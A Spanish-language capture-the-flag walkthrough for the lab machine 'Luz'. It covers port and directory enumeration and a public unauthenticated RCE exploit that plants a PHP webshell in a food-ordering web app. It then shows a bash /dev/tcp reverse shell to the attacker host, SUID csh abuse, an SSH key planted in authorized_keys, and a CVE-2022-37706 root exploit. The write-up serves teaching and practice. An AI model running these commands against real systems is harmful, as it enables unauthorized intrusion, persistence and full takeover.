038 - Luz - wh01s17

Enumeramos puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.34
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.34
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-06 22:44 -03
Nmap scan report for 192.168.1.34
Host is up (0.00074s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 5f:9e:28:74:86:8e:d7:5b:bd:96:00:4b:d0:7f:56:e3 (ECDSA)
|_  256 fb:3b:fd:9c:9f:4a:7c:8c:1e:a8:27:e2:8d:bf:2b:e5 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.09 seconds

Enumeramos con gobuster (raíz y /admin):

❯ gobuster dir -u http://192.168.1.34 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 19059]
/login.php            (Status: 200) [Size: 1579]
/admin                (Status: 200) [Size: 6243]
...

❯ gobuster dir -u http://192.168.1.34/admin -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php            (Status: 200) [Size: 6243]
/users.php            (Status: 200) [Size: 2600]
/categories.php       (Status: 200) [Size: 4533]
/orders.php           (Status: 200) [Size: 1635]
...

En /admin/login.php identificamos el sistema Online Food Ordering System V2, vulnerable a RCE no autenticado. Lanzamos el exploit (EDB-ID 50305):

❯ searchsploit 'food ordering'
...
Online Food Ordering System 2.0 -  Remote Code Execution (RCE) (Unauthentica | php/webapps/50305.py
...

❯ searchsploit -m 50305
❯ chmod +x 50305.py
❯ python 50305.py
               Online Food Ordering System v2.0
            Unauthenticated Remote Code Execution
               Abdullah "hax.3xploit" Khawaja

        ______ _______                         ________
        ___  //_/__  /_______ ___      _______ ______(_)_____ _
        __  ,<  __  __ \  __ `/_ | /| / /  __ `/____  /_  __ `/
        _  /| | _  / / / /_/ /__ |/ |/ // /_/ /____  / / /_/ /
        /_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___  /  \__,_/
                                               /___/
                    abdullahkhawaja.com

Enter URL of The Vulnarable Application : http://192.168.1.34/
[*]Uploading PHP Shell For RCE...
[+]PHP Shell has been uploaded successfully!
[+] Successfully connected to webshell.
CD%> whoami
www-data

Desde la webshell lanzamos una reverse shell:

CD%> /bin/bash -c "bash -i >& /dev/tcp/192.168.1.10/4321 0>&1"

En /var/www/html está la primera flag. Buscamos binarios SUID:

www-data@luz:/home$ find / -perm -4000 2>/dev/null
...
/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
/bin/bsd-csh
...

csh (bsd-csh) tiene SUID propiedad de aelis, lo que aprovechamos para obtener una shell de ese usuario:

www-data@luz:~/html$ ls -l /bin/bsd-csh
-rwsr-sr-x 1 aelis aelis 170608 Oct 26  2021 /bin/bsd-csh

www-data@luz:/home$ csh -b
% whoami
aelis

Generamos una clave SSH y la añadimos al authorized_keys de aelis para tener una sesión estable:

❯ ssh-keygen -t rsa
❯ ls
 id_rsa   id_rsa.pub

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm67CXrgAM9n34I+kG4ZYOpkx3Eu/AEJIvZe9z09Cbb7qlOnxCI4UOzUES4iLcswnf2Y0DvtQF6wIPlLv3jN3ob0tvKKso6A/IU0tNTjOi17DYjSGd1mnl3O8Ot4vn7C2b8qF/VMAzB8/zgYZNwoWicwSXq0qVSvEctLCbDCRPswsi3eAHQVUX+lVd+ObYKMShu9v1ZUZhWTsVHIMYp2bXPKpwWtZrBip9nPuimBlNUTNJyj1/kCTsbUH4CigYXeLbkUJvOMnidbJJCw7GJMURtxfIHIJ/EPKap/alf8pSv3IduekwqnEmYY/sSGnau8raAS8SDyGqyAOOzvTv1ru98pb4tJqWb7snOOJ8u43V6LCDcVDmK5mhVYr1BIuZ9WxofU0zLSwTi6OKbOBXdCFL5ec2NcUo+VmSTv6kVMdGr/T1yDHxSdtOEf8f/ZsGmW2Q7gnUNXfhNiMHtxnpdYwZQYOnxMAIq+6SreSP5rQsdg7tDc9WgKX5Q8icOsTN0ac=" > authorized_keys

❯ ssh aelis@192.168.1.34 -i ~/.ssh/id_rsa
Enter passphrase for key '/home/wh01s17/.ssh/id_rsa':
aelis@luz:~$

Para escalar a root, explotamos la vulnerabilidad de enlightenment_ckpasswd (CVE-2022-37706):

aelis@luz:/tmp$ ./exploit.sh
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
./exploit.sh: line 20: /tmp/exploit: Permission denied
chmod: changing permissions of '/tmp/exploit': Operation not permitted
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root

Obtenemos acceso root y nuestra bandera.

Fin.